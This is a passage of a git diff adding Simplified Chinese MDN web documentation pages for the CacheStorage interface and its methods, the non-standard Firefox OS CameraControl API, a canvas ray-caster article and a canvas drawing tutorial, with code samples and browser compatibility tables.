+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop(44)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

See also

+ + diff --git a/files/zh-cn/web/api/cachestorage/has/index.html b/files/zh-cn/web/api/cachestorage/has/index.html new file mode 100644 index 0000000000..b9e985a673 --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/has/index.html @@ -0,0 +1,125 @@ +--- +title: CacheStorage.has() +slug: Web/API/CacheStorage/has +translation_of: Web/API/CacheStorage/has +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("CacheStorage")}} 对象的 has()方法返回一个 {{jsxref("Promise")}} 对象,当 {{domxref("Cache")}} 对象有 cacheName  时被处理为  true

+ +

语法

+ +
caches.has(cacheName).then(function(boolean) {
+  // true: 缓存存在
+});
+
+ +

返回值

+ +

返回一个 {{jsxref("Promise")}} 对象,缓存存在时resolve的布尔值为 true 否则为 false 。

+ +

参数

+ +
+
cacheName
+
一个表示你正在 {{domxref("CacheStorage")}} 中查找的 {{domxref("Cache")}} 对象name的 {{domxref("DOMString")}}.
+
+ +

例子

+ +

在下面的例子中首先检测是否有名为 v1 的缓存存在, 如果存在我们会向其添加内容,,如果不存在我们会做些对应的初始化动作。

+ +
caches.has('v1').then(function(hasCache) {
+  if (!hasCache) {
+    someCacheSetupfunction();
+  } else {
+    caches.open('v1').then(function(cache) {
+      return cache.addAll(myAssets);
+    });
+  }
+}).catch(function() {
+  // 处理异常
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态附加信息
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(40.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(44)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) 在 Firefox 45 & 52 Extended Support Releases (ESR.)被默认禁用。

+ +

参考

+ + diff --git a/files/zh-cn/web/api/cachestorage/index.html b/files/zh-cn/web/api/cachestorage/index.html new file mode 100644 index 0000000000..4c86445492 --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/index.html @@ -0,0 +1,115 @@ +--- +title: CacheStorage +slug: Web/API/CacheStorage +tags: + - API + - CacheStorage + - ServiceWorker +translation_of: Web/API/CacheStorage +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

CacheStorage 接口表示 {{domxref("Cache")}} 对象的存储。它提供了一个 {{domxref("ServiceWorker")}} 、其它类型worker或者 {{domxref("window")}} 范围内可以访问到的所有命名cache的主目录(它并不是一定要和service workers一起使用,即使它是在service workers规范中定义的),并维护一份字符串名称到相应 {{domxref("Cache")}} 对象的映射。

+ +

CacheStorage  同样暴露了 {{domxref("CacheStorage.open()")}} 和 {{domxref("CacheStorage.match()")}}方法。使用 {{domxref("CacheStorage.open()")}} 获取 {{domxref("Cache")}} 实例。使用 {{domxref("CacheStorage.match()")}} 检查给定的 {{domxref("Request")}} 是否是 CacheStorage 对象跟踪的任何 {{domxref("Cache")}} 对象中的键。

+ +

你可以通过 {{domxref("WorkerGlobalScope.caches", "caches")}} 属性访问 CacheStorage .

+ +
注意: CacheStorage 总是对不受信任的源(即那些不使用HTTPS,尽管此定义将来很可能变得更加复杂。)使用 SecurityError reject. 测试时,你可以在Firefox Devtools选项/齿轮菜单中通过选中"通过HTTP启用 Service Workers (当工具箱打开时)" 选项来绕开这个限制。
+ +
注意: {{domxref("CacheStorage.match()")}} 是一个便捷方法。匹配cache条目的同等功能可以通过执行 {{domxref("CacheStorage.open()")}} 打开cache,使用 {{domxref("CacheStorage.keys()")}} 返回它包含的条目,并将你所需的条目与 {{domxref("CacheStorage.match()")}} 匹配。
+ +

方法

+ +
+
{{domxref("CacheStorage.match()")}}
+
检查给定的 {{domxref("Request")}} 是否是 {{domxref("CacheStorage")}} 对象跟踪的任何 {{domxref("Cache")}} 对象的键,并返回一个resolve为该匹配的 {{jsxref("Promise")}} .
+
{{domxref("CacheStorage.has()")}}
+
如果存在与 cacheName 匹配的 {{domxref("Cache")}} 对象,则返回一个resolve为true的 {{jsxref("Promise")}} .
+
{{domxref("CacheStorage.open()")}}
+
返回一个 {{jsxref("Promise")}} ,resolve为匹配  cacheName (如果不存在则创建一个新的cache)的 {{domxref("Cache")}} 对象
+
{{domxref("CacheStorage.delete()")}}
+
查找匹配 cacheName 的 {{domxref("Cache")}} 对象,如果找到,则删除 {{domxref("Cache")}} 对象并返回一个resolve为true的 {{jsxref("Promise")}} 。如果没有找到 {{domxref("Cache")}} 对象,则返回 false.
+
{{domxref("CacheStorage.keys()")}}
+
返回一个 {{jsxref("Promise")}} ,它将使用一个包含与 {{domxref("CacheStorage")}} 追踪的所有命名 {{domxref("Cache")}} 对象对应字符串的数组来resolve. 使用该方法迭代所有 {{domxref("Cache")}} 对象的列表。
+
+ +

示例

+ +

此代码片段来自于MDN sw-test example (请参阅sw-test running live.)此 service worker 脚本等待 {{domxref("InstallEvent")}} 触发,然后运行 {{domxref("ExtendableEvent.waitUntil","waitUntil")}} 来处理应用程序的安装过程。这包括调用 {{domxref("CacheStorage.open")}} 创建一个新的cache,然后使用 {{domxref("Cache.addAll")}} 向其添加一系列资源。

+ +

在第二个代码块,我们等待 {{domxref("FetchEvent")}} 触发。我们构建自定义相应,像这样:

+ +
    +
  1. 检查CacheStorage中是否找到了匹配请求的内容。如果是,使用匹配内容。
  2. +
  3. 如果没有,从网络获取请求,然后同样打开第一个代码块中创建的cache,并使用 {{domxref("Cache.put")}} (cache.put(event.request, response.clone()).) 将请求的clone副本添加到它。
  4. +
  5. 如果此操作失败(例如,因为网络关闭),返回备用相应。
  6. +
+ +

最后,使用 {{domxref("FetchEvent.respondWith")}} 返回自定义响应最终等于的内容。

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+this.addEventListener('fetch', function(event) {
+  var response;
+  event.respondWith(caches.match(event.request).catch(function() {
+    return fetch(event.request);
+  }).then(function(r) {
+    response = r;
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, response);
+    });
+    return response.clone();
+  }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  }));
+});
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.CacheStorage")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cachestorage/keys/index.html b/files/zh-cn/web/api/cachestorage/keys/index.html new file mode 100644 index 0000000000..8d174f9c2c --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/keys/index.html @@ -0,0 +1,122 @@ +--- +title: CacheStorage.keys() +slug: Web/API/CacheStorage/keys +translation_of: Web/API/CacheStorage/keys +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("CacheStorage")}} 接口的 keys() 方法返回一个 {{jsxref("Promise")}}对象,它使用一个数组resolve,该数组包含 {{domxref("CacheStorage")}} 对象按创建顺序跟踪的所有命名 {{domxref("Cache")}}  对象对应的字符串。使用此方法迭代所有 {{domxref("Cache")}} 对象。

+ +

语法

+ +
caches.keys().then(function(keyList) {
+  //对keyList做操作
+});
+
+ +

返回

+ +

一个使用 {{domxref("CacheStorage")}} 对象中 {{domxref("Cache")}} 名称数组resolve的 {{jsxref("Promise")}} 

+ +

参数

+ +

无。

+ +

示例

+ +

在此代码片段中,我们监听{{domxref("ServiceWorkerGlobalScope.onactivate", "activate")}} 事件,然后运行一个 {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} 方法,该方法在新的 service worker 被激活之前清除老的、无用的cache。 这里我们设置一个包含缓存名称的白名单。 通过使用 keys()方法 来返回{{domxref("CacheStorage")}} 对象中的keys集合,然后检查缓存key是否在白名单中,如果不存在,则使用 {{domxref("CacheStorage.delete")}} 方法来删除该缓存。

+ +
then.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      });
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(40)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(44)}}[1]{{CompatNo}}{{CompatOpera(27)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(40)}}{{CompatChrome(40)}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatOperaMobile(27)}}{{CompatVersionUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

亦可参考

+ + diff --git a/files/zh-cn/web/api/cachestorage/match/index.html b/files/zh-cn/web/api/cachestorage/match/index.html new file mode 100644 index 0000000000..c978402bf0 --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/match/index.html @@ -0,0 +1,91 @@ +--- +title: CacheStorage.match() +slug: Web/API/CacheStorage/match +translation_of: Web/API/CacheStorage/match +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("CacheStorage")}} 接口(可适用于全局性caches) 的 match() 方法检查给定的{{domxref("Request")}} 对象或url字符串是否是一个已存储的 {{domxref("Response")}} 对象的key. 这个方法针对 {{domxref("Response")}} 返回一个 {{jsxref("Promise")}} ,如果没有匹配则返回 undefined

+ +

cache对象按创建顺序查询。

+ +
提示: {{domxref("CacheStorage.match()", "caches.match()")}} 是一个便捷方法。其作用等同于在每个缓存上调用 {{domxref("cache.match()")}} 方法 (按照{{domxref("CacheStorage.keys()", "caches.keys()")}}返回的顺序) 直到返回{{domxref("Response")}} 对象。
+ +

语法

+ +
caches.match(request, options).then(function(response) {
+  // Do something with the response
+});
+
+ +

参数

+ +
+
request
+
想要匹配的 {{domxref("Request")}}。这个参数可以是 {{domxref("Request")}} 对象或 URL 字符串。
+
options {{optional_inline}}
+
这个对象中的属性控制在匹配操作中如何进行匹配选择。可选择参数如下: +
    +
  • ignoreSearch: {{domxref("Boolean")}}值, 指定匹配过程是否应该忽略url中查询参数。举个例子,如果该参数设置为true, 那么 ?value=bar 作为 http://foo.com/?value=bar 中的查询参数将会在匹配过程中被忽略。该参数默认 false
  • +
  • ignoreMethod:  {{domxref("Boolean")}} 值,当被设置为 true 时,将会阻止在匹配操作中对 {{domxref("Request")}}请求的 http 方式的验证 (通常只允许 GETHEAD 两种请求方式)。该参数默认为 false.
  • +
  • ignoreVary:  {{domxref("Boolean")}} 值,当该字段被设置为 true, 告知在匹配操作中忽略对VARY头信息的匹配。换句话说,当请求 URL 匹配上,你将获取匹配的 {{domxref("Response")}} 对象,无论请求的 VARY  头存在或者没有。该参数默认为 false.
  • +
  • cacheName:  {{domxref("DOMString")}} 值, 表示所要搜索的缓存名称。
  • +
+
+
+ +

返回值

+ +

返回resolve为匹配 {{domxref("Response")}} 的 {{jsxref("Promise")}} 对象。如果没有与指定request相匹配response,promise将使用 undefined resolve.

+ +

例子

+ +

此示例来自于MDN sw-test example (请参阅 sw-test running live)。这里,等待 {{domxref("FetchEvent")}} 事件触发。我们构建自定义响应,像这样:

+ +
    +
  1. 使用 {{domxref("CacheStorage.match","CacheStorage.match()")}} 检查 {{domxref("CacheStorage")}} 中是否存在匹配请求,如果存在,则使用它。
  2. +
  3. 如果没有,使用  open() 打开 v1 cache,使用 {{domxref("Cache.put","Cache.put()")}}  将默认网络请求放入 cache 中,并只用 return response.clone() 返回默认网络请求的克隆副本。最后一个是必须的,因为 put() 使用响应主体。
  4. +
  5. 如果此操作失败(例如,因为网络已关闭),则返回备用响应。
  6. +
+ +
caches.match(event.request).then(function(response) {
+  return response || fetch(event.request).then(function(r) {
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, r);
+    });
+    return r.clone();
+  });
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CacheStorage.match")}}

+ +

亦可参考

+ + diff --git a/files/zh-cn/web/api/cachestorage/open/index.html b/files/zh-cn/web/api/cachestorage/open/index.html new file mode 100644 index 0000000000..cd2b4f46b0 --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/open/index.html @@ -0,0 +1,85 @@ +--- +title: CacheStorage.open() +slug: Web/API/CacheStorage/open +translation_of: Web/API/CacheStorage/open +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("CacheStorage")}} 接口的 open() 方法返回一个resolve为匹配 cacheName 的 {{domxref("Cache")}} 对象的 {{jsxref("Promise")}} .

+ +
+

注意: 如果指定的 {{domxref("Cache")}} 不存在,则使用该 cacheName 创建一个新的cache,并返回一个resolve为该新 {{domxref("Cache")}} 对象的{{jsxref("Promise")}}.

+
+ +

语法

+ +
// "caches" is a global read-only variable, which is an instance of CacheStorage,
+// For more info, refer to: https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/caches
+
+caches.open(cacheName).then(function(cache) {
+  // Do something with your cache
+});
+
+ +

参数

+ +
+
cacheName
+
要打开的cache对象name.
+
+ +

返回值

+ +

一个resolve为请求的 {{domxref("Cache")}} 对象的 {{jsxref("Promise")}} .

+ +

示例

+ +

此示例来自于MDN sw-test example (请参阅 sw-test running live)。这里,等待 {{domxref("FetchEvent")}} 事件触发。我们构建自定义响应,像这样:

+ +
    +
  1. 使用 {{domxref("CacheStorage.match","CacheStorage.match()")}} 检查 {{domxref("CacheStorage")}} 中是否存在匹配请求,如果存在,则使用它。
  2. +
  3. 如果没有,使用  {{domxref("CacheStorage.open","CacheStorage.open()")}} 打开 v1 cache,使用 {{domxref("Cache.put","Cache.put()")}}  将默认网络请求放入 cache 中,并使用 return response.clone() 返回默认网络请求的克隆副本。最后一个是必须的,因为 put() 使用响应主体。
  4. +
  5. 如果此操作失败(例如,因为网络已关闭),则返回备用响应。
  6. +
+ +
var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(response) {
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CacheStorage.open")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/cameracontrol/getpreviewstream/index.html b/files/zh-cn/web/api/cameracontrol/getpreviewstream/index.html new file mode 100644 index 0000000000..be1756631d --- /dev/null +++ b/files/zh-cn/web/api/cameracontrol/getpreviewstream/index.html @@ -0,0 +1,64 @@ +--- +title: CameraControl.getPreviewStream +slug: Web/API/CameraControl/getPreviewStream +translation_of: Archive/B2G_OS/API/CameraControl/getPreviewStream +--- +

{{APIRef("Camera API")}}{{ non-standard_header() }}

+ +

概述

+ +

该方法用来根据指定的配置,从摄像头获取到一个{{domxref("MediaStream")}}数据流,你可以从该数据流中捕获到静态的照片.

+ +
+

注:使用该方法获取到的数据流仅能用来捕获静态的照片.如果你想录制视频,那么必须使用{{domxref("CameraControl.getPreviewStreamVideoMode()")}}方法来代替.

+
+ +

语法

+ +
CameraControl.getPreviewStream(options, onsuccess[, onerror]);
+ +

参数

+ +
+
options
+
一个包含有两个属性widthheight的对象.该对象可以通过{{domxref("CameraCapabilities")}}.previewSizes属性获取到.
+
onsuccess
+
一个回调函数,会被传入一个参数,这个参数是一个{{domxref("MediaStream")}}数据流对象,可以使用该数据流对象捕获静态的图像.
+
onerror {{optional_inline()}}
+
一个回调函数,会被传入一个参数,这个参数是一个表示错误原因的字符串.如果在尝试获取MediaStream数据流对象时发生了错误,则会调用该函数.
+
+ +

示例

+ +

这个例子演示了如何通过使用{{domxref("MediaStream")}}数据流对象来从摄像头捕获并播放静态的图片.

+ +
var display = document.getElementsByTagName('video')[0];
+var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onStreamReady( stream ) {
+  display.mozSrcObject = stream;
+  display.play();
+}
+
+function onAccessCamera( camera ) {
+  var size = camera.capabilities.previewSizes[0];
+
+  camera.getPreviewStream(size, onStreamReady);
+};
+
+navigator.mozCameras.getCamera(options, onAccessCamera)
+
+ +

规范

+ +

不属于任何规范.当WebRTC Capture and Stream API实现时,该方法应该会被删除.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/cameracontrol/index.html b/files/zh-cn/web/api/cameracontrol/index.html new file mode 100644 index 0000000000..3be97dac90 --- /dev/null +++ b/files/zh-cn/web/api/cameracontrol/index.html @@ -0,0 +1,88 @@ +--- +title: CameraControl +slug: Web/API/CameraControl +translation_of: Archive/B2G_OS/API/CameraControl +--- +

{{APIRef("Camera API")}}

+ +

{{ non-standard_header() }}

+ +

When you use the {{domxref("CameraManager.getCamera()")}} method to get a reference to a camera, you specify a callback function to be invoked on success. That function receives as a parameter a CameraControl object. You can use its methods and properties to manage and make use of the camera.

+ +

Properties

+ +
+
{{domxref("CameraControl.capabilities")}} {{readonlyinline}}
+
A {{domxref("CameraCapabilities")}} object indicating all the capabilities for the given camera.
+
{{domxref("CameraControl.effect")}}
+
A string defining the effect to be used by the camera (none by default). Its value must be one of the values available in {{domxref("CameraCapabilities.effects")}}.
+
{{domxref("CameraControl.exposureCompensation")}} {{readonlyinline}}
+
A value used to compensate the camera exposure. This attribute is read-only; to change the exposure, you need to call the {{domxref("CameraControl.setExposureCompensation()")}} method.
+
{{domxref("CameraControl.flashMode")}}
+
A string that defines how the flash, if any, is to be used; this is auto by default if the device has a flash, none otherwise. When set, its value must be chosen from the list of options specified by  {{domxref("CameraCapabilities.flashModes")}}.
+
{{domxref("CameraControl.focalLength")}} {{readonlyinline}}
+
A number that express the camera's focal length in millimeters.
+
{{domxref("CameraControl.focusAreas")}}
+
An Array of one or more objects that define where the camera will perform auto-focusing.
+
{{domxref("CameraControl.focusDistanceFar")}} {{readonlyinline}}
+
This value is a distance in meter used with {{domxref("CameraControl.focusDistanceNear")}} to defined the image's depth of field. The value for this property may be Infinity.
+
{{domxref("CameraControl.focusDistanceNear")}} {{readonlyinline}}
+
This value is a distance in meter used with {{domxref("CameraControl.focusDistanceFar")}} to defined the image's depth of field.
+
{{domxref("CameraControl.focusDistanceOptimum")}} {{readonlyinline}}
+
This value is a distance in meter where the subject will appear sharpest.
+
{{domxref("CameraControl.focusMode")}}
+
A string that defines which kind of focus mode the camera should use (auto or fixed by default). Its value must be chosen from {{domxref("CameraCapabilities.focusModes")}}.
+
{{domxref("CameraControl.meteringAreas")}}
+
An Array of one or more objects that define where the camera will perform auto-focusing.
+
{{domxref("CameraControl.onShutter")}}
+
A handler for the camera's "shutter" event, to trigger a shutter sound and/or a visual shutter indicator.
+
{{domxref("CameraControl.onClosed")}}
+
A handler called when a new CameraControl object in the same app takes over the camera.
+
{{domxref("CameraControl.onRecorderStateChange")}}
+
A function to call when the recorder changes state, either because the recording process encountered an error, or because one of the recording limits (see {{domxref("CameraControl.startRecording()")}}) was reached.
+
{{domxref("CameraControl.sceneMode")}}
+
A string that defines which scene mode the camera is to use (auto by default). Its value must be chosen from {{domxref("CameraCapabilities.sceneModes")}}.
+
{{domxref("CameraControl.whiteBalanceMode")}}
+
A string that defines which white balance mode the camera is to use (auto by default). Its value must be chosen from {{domxref("CameraCapabilities.whiteBalanceModes")}}.
+
{{domxref("CameraControl.zoom")}}
+
A number that defines which kind of zoom factor mode the camera is to use (1 by default). Its value must be chosen from {{domxref("CameraCapabilities.zoomRatios")}}.
+
+ +

Methods

+ +
+
{{ domxref("CameraControl.autoFocus()") }}
+
Tells the camera to attempt to focus the image.
+
{{ domxref("CameraControl.getPreviewStream()") }}
+
Gets a video stream from the camera; you can use this in an arbitrary context.
+
{{ domxref("CameraControl.getPreviewStreamVideoMode()") }}
+
Gets a video stream from the camera based on a specific video mode.
+
{{ domxref("CameraControl.release()") }}
+
Releases the camera so that other applications can use it.
+
{{ domxref("CameraControl.resumePreview()") }}
+
Resumes the preview video stream after it's been paused by a call to {{domxref("CameraControl.takePicture()")}}.
+
{{ domxref("CameraControl.setExposureCompensation()") }}
+
Lets you specify the exposure compensation factor.
+
{{ domxref("CameraControl.startRecording()") }}
+
Lets you start recording a video stream.
+
{{ domxref("CameraControl.stopRecording()") }}
+
Lets you stop recording a video stream.
+
{{ domxref("CameraControl.takePicture()") }}
+
Lets you capture a single image, receiving it as a {{domxref("Blob")}}.
+
+ +

Specification

+ +

{{page("/en-US/docs/Web/API/Navigator.MozCameras","Specification")}}

+ +

Permissions

+ +

{{page("/en-US/docs/Web/API/Navigator.MozCameras","Permissions")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/canvas_api/a_basic_ray-caster/index.html b/files/zh-cn/web/api/canvas_api/a_basic_ray-caster/index.html new file mode 100644 index 0000000000..801afae38a --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/a_basic_ray-caster/index.html @@ -0,0 +1,58 @@ +--- +title: 基本的光线投射 +slug: Web/API/Canvas_API/A_basic_ray-caster +tags: + - Canvas + - 图形 + - 网页 +translation_of: Web/API/Canvas_API/A_basic_ray-caster +--- +

{{CanvasSidebar}}

+ +

本篇文章介绍了一个有趣的现实模拟的例子,其模型思想是光线投影(ray-casting),它使用了{{HTMLElement("canvas")}}元素来进行3D渲染

+ +

{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}

+ +

 

+ +

在新页面查看演示 .

+ +

为什么?

+ +

在我高兴地发现我已经了解的漂亮的<canvas>元素不仅即将支持Firefox,而且已经支持当前版本的Safari后,我尝试着做了这个小实验。

+ +

在MDN中,我发现canvas概述教程是非常完美的,但是还没有人写关于动画的东西,于是我想尝试一个我之前做过的光线投影的动画,看看能从我们期待的JavaScript控制像素缓冲区中得到什么样的现象。

+ +

怎么做?

+ +

基本思想是对任意延迟的帧速率使用 {{domxref("window.setInterval","setInterval()")}}。每一个间隔后都会调用一个更新函数来重绘画布显示当前视图。我知道我可以从一个简单的例子开始,但我相信canvas教程会有,我想看看我能否做到。

+ +

所以,每次更新,射线发射器会检测你最近是否按下任何按键,如果你是闲置状态,会不通过投射来保存计算结果。如果你有按键按下,画布会清空,绘制背景和前景,更新相机的位置或方向,光线被抛弃。当光线与墙壁相交时,他们呈现出一种垂直的帆布条,其颜色和墙壁颜色相匹配,根据离墙壁的距离混合不同深度的颜色。帆布条的高度也会根据相机到墙壁的距离进行调节,并且被绘制在水平线居中位置。

+ +

我最后的那段代码是从一本比较老的Andre所著的《Windows游戏编程大师技巧 》 (ISBN: 0672305070) 中经过反复合并以及一个java raycaster网站上得到的,并且对我有用的地方都进行了重命名,这些必要的修改能让它更好的运行。

+ +

结果

+ +

Safari2.0.1中的画布执行的非常好。使用块效应因子来渲染8像素宽的条纹,我可以在我的Apple mini中以24fps的帧率运行320*240的窗口。Firefox1.5 Beta1 更快;同样帧率和窗口大小的情况下,我可以运行4像素宽的。不是ID软件系列的一个新成员,它是一个完美的解释型环境,并且我不需要担心内存分配、视频模式或者编码在汇编或者其他内部的例程。代码会通过使用预计算的数组查找来尝试高效的运行,但是我没有做更多优化,所以这可能还会有更快的实现方法。

+ +

此外,它在尝试任何类型的游戏引擎方面留下了很多希望-没有条纹的墙、没有精灵、没有门,甚至没有任何传送器到达另一层。但是我相信所有那些东西可以慢慢添加。canvas API支持图像的像素复制,所以添加纹理看起来也是可行的。我会把它们留在另一篇文章里,它可能是由别人写的。(笑

+ +

光线发射

+ +

已经有好心人手动复制我的文件,你可以在这里看一下,为了满足极客自己动手的想法,我已经放出了独立的源码文件列表(见下文)。

+ +

下面这些可能是你想要的,启动Safari 1.3+或是Firefox 1.5+或者是其他支持canvas的浏览器来体验吧!

+ +


+ input.js | Level.js | Player.js | RayCaster.html | RayCaster.js | trace.css | trace.js

+ +

参见

+ + + +

{{ languages( { "fr": "fr/Un_raycaster_basique", "ja": "ja/A_Basic_RayCaster", "pl": "pl/Prosty_RayCaster" } ) }}

diff --git a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html b/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html new file mode 100644 index 0000000000..01809a11c4 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html @@ -0,0 +1,162 @@ +--- +title: Drawing graphics with canvas +slug: Web/API/Canvas_API/Drawing_graphics_with_canvas +translation_of: Web/API/Canvas_API/Tutorial +--- +
+

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

+

 

+
+

Introduction

+

With Firefox 1.5, Firefox includes a new HTML element for programmable graphics. <canvas> is based on the WHATWG canvas specification, which itself is based on Apple's <canvas> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.

+

<canvas> creates a fixed size drawing surface that exposes one or more rendering contexts. We'll focus on the 2D rendering context. For 3D graphics, you should use the WebGL rendering context.

+

The 2D Rendering Context

+

A Simple Example

+

To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:

+
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "rgb(200,0,0)";
+  ctx.fillRect (10, 10, 55, 50);
+
+  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+  ctx.fillRect (30, 30, 55, 50);
+}
+
+ +

{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}

+

The draw function gets the canvas element, then obtains the 2d context. The ctx object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling fillRect. The second fillStyle uses rgba() to specify an alpha value along with the color.

+

The fillRect, strokeRect, and clearRect calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.

+

Using Paths

+

The beginPath function starts a new path, and moveTo, lineTo, arcTo, arc, and similar methods are used to add segments to the path. The path can be closed using closePath. Once a path is created, you can use fill or stroke to render the path to the canvas.

+
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // <- this is right formula for the image on the right ->
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+
+ +

{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}

+

Calling fill() or stroke() causes the current path to be used. To be filled or stroked again, the path must be recreated.

+

Graphics State

+

Attributes of the context such as fillStyle, strokeStyle, lineWidth, and lineJoin are part of the current graphics state. The context provides two methods, save() and restore(), that can be used to move the current state to and from the state stack.

+

A More Complicated Example

+

Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods translate(), scale(), and rotate() all transform the current matrix. All rendered points are first transformed by this matrix.

+
function drawBowtie(ctx, fillStyle) {
+
+  ctx.fillStyle = "rgba(200,200,200,0.3)";
+  ctx.fillRect(-30, -30, 60, 60);
+
+  ctx.fillStyle = fillStyle;
+  ctx.globalAlpha = 1.0;
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(-25, -25);
